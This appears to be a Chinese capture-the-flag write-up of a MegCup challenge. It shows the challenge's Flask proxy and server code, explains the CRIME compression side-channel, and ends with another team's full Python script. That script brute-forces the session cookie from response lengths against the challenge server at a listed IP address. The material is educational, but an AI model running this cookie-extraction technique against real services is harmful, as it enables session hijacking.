0x00 megcup中的一道题

源码如下

proxy.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import get_signed_session_id_raw
from flask import Flask, request, make_response
import requests

import base64

app = Flask(__name__)

UPSTREAM_URL = 'http://localhost:38701'

@app.route("/")
def hello():
    return "online proxy usage: /<username>/<page>"

@app.route("/<username>/<page>", methods=['GET', 'POST'])
def proxy(username, page):
    try:
        page = page.strip()
        assert set(page).issubset(set(
            chr(i) for i in range(ord('a'), ord('z') + 1)))
        if page == 'signtoken':
            return make_response('permission denied', 403)

        sid = get_signed_session_id_raw(username)
        sid = base64.urlsafe_b64encode(sid).decode('utf-8')
        up_resp = requests.get(UPSTREAM_URL + '/' + page, params=request.args,
                               cookies={'sessionid': sid})

        # some debug pages may expose session id; strip them
        resp = up_resp.text.replace(sid, '<del>sessionid</del>')

        if request.form.get('debug'):
            resp += '<br /><hr>proxy debug<br />'
            resp += 'server response headers: <pre>{}</pre>'.format(
                up_resp.headers)

        return resp
    except:
        return 'error'


if __name__ == "__main__":
    app.run(debug=True, port=38700)

server.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from mysecret import check_session_id, signtoken as do_signtoken
from simpleeval import simple_eval

from flask import Flask, request, make_response
import functools

app = Flask(__name__)

def require_login(func):
    @functools.wraps(func)
    def work():
        try:
            sid = request.cookies.get('sessionid')
            if not sid or not check_session_id(sid):
                return make_response('please login first', 401)
            return func()
        except:
            return 'error'
    return work

@app.route("/")
def hello():
    return "Hello World!"

@app.route("/echo")
@require_login
def echo():
    return make_response("""
        <h1>echo page</h1>
        <h2>request headers</h2><pre>{}</pre><h2>args</h2><pre>{}</pre>
    """.format(request.headers,
               '\n'.join('{}: {}'.format(k, v)
                         for k, v in request.args.items())))

@app.route("/eval")
@require_login
def eval_():
    expr = request.args['expr']
    result = simple_eval(expr)
    return make_response("""
        <h1>eval page</h1>
        <pre>{} = {}</pre>
    """.format(expr, result))

@app.route("/signtoken")
@require_login
def signtoken():
    token = request.args['token']
    signature = do_signtoken(token)
    return "token: {}<br />signature: {}".format(token, signature)

if __name__ == "__main__":
    app.run(debug=True, port=38701)

题目要达成的是能够得到server.py中函数signtoken()函数生成的值。

0x01 自己当时的一些想法

读了源码以后,了解大概逻辑也就是通过proxy.py对server.py进行访问。但是page中只能包含小写字母,并且过滤了signtoken字符串。当时想的是能够使用simple_eval来调用signtoken()这个函数并进行返回(因为eval中代入的参数在请求的数据中,对输入字符没有过滤,所以可发挥性比较大)。然后猛然发现simple_eval中并不能执行函数,只能输入字符串。并且读了simpleeval这个库的源码发现源码中并没有执行系统命令的函数。

0x02 CRIME

比赛结束看讨论里面有说到这题的解法是利用CRIME爆破出cookie,并且给了如下链接:

https://en.wikipedia.org/wiki/CRIME

CRIME(Compression Ratio Info-leak Made Easy;压缩率使信息很容易泄露)是一种可攻击安全隐患(Exploit),通过它可窃取启用数据压缩特性的HTTPS或SPDY协议传输的私密Web Cookie。在成功解读身份验证Cookie后,攻击者可以实行会话劫持和发动进一步攻击。

求助大腿学长,得知CRIME漏洞原理:

如果启用压缩,攻击者可以通过选择明文来与被加密的其他数据一同发送,因为HTTPS不加密关于数据原文长度的信息,可以通过比较原文与密文的长度计算压缩率,如果与被加密数据的明文有重合的话压缩率会提高,如果没有重合的话压缩率则会降低。这时可以采用分治算法的输入不断选择明文最终推断出密文的内容。

观察proxy.py到server.py的请求的response中存在aceept-encoding:gzip,故可能存在该漏洞。

通过文章:

http://www.freebuf.com/articles/web/5636.html

密文在充分压缩后会变得更短(更长的字符串会在请求中出现两次)

得知,构造如此请求

echo page
request headers

Accept: */*
Connection: close
User-Agent: python-requests/2.13.0
Accept-Encoding: gzip, deflate
Host: localhost:38701
Cookie: sessionid=sessionid
X-Forwarded-For: 127.0.0.1

args

a: Accept: */*
Connection: close
User-Agent: python-requests/2.13.0
Accept-Encoding: gzip, deflate
Host: localhost:38701
Cookie: sessionid=2

可以通过返回值长度爆破cookie中存在的字符。

从proxy.py中

        if request.form.get('debug'):
        resp += '<br /><hr>proxy debug<br />'
        resp += 'server response headers: <pre>{}</pre>'.format(
            up_resp.headers)

可知,post参数debug以后可以获得server返回的header,即可知道长度。

0x03 别人的payload

这是别人给的题解,至于哪个队的我已经记不清了qwq。并没有商业用途,只是想给大家看看,学习一下。

from flask import Flask, request, make_response
import requests
import base64
import urllib
import urllib2
import re

UPSTREAM_URL = 'http://47.93.114.77:38700/Zyr17/echo'

def getdebug(url):
    test_data = {'debug':'a'}
    test_data_urlencode = urllib.urlencode(test_data)
    req = urllib2.Request(url = url,data =test_data_urlencode)
    #print req
    res_data = urllib2.urlopen(req)
    res = res_data.read()
    if url[-1] == base[-1]:
        print res
    res = re.search(r"(?<='Content-Length': ').*(?=', 'Connection')", res)
    return int(res.group())

#print getdebug(UPSTREAM_URL)
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012456789+/=3'

#LwQvbeoGUY2XOoc4uSg6Lw==
now = urllib.quote('''Accept: */*\r\nConnection: close\r\nUser-Agent: python-requests/2.13.0\r\nAccept-Encoding: gzip, deflate\r\nHost: localhost:38701\r\nCookie: sessionid=''')
print now
for i in range(100):
    nowmin = 100000
    alpha = '0'
    for j in base:
        res = getdebug(UPSTREAM_URL + '?' + 'a' + '=' + now + j)
        if (res < nowmin):
            nowmin = res
            alpha = j
        print 'trying', j, res
    now += alpha
    print now

0x04

需要学习的还很多。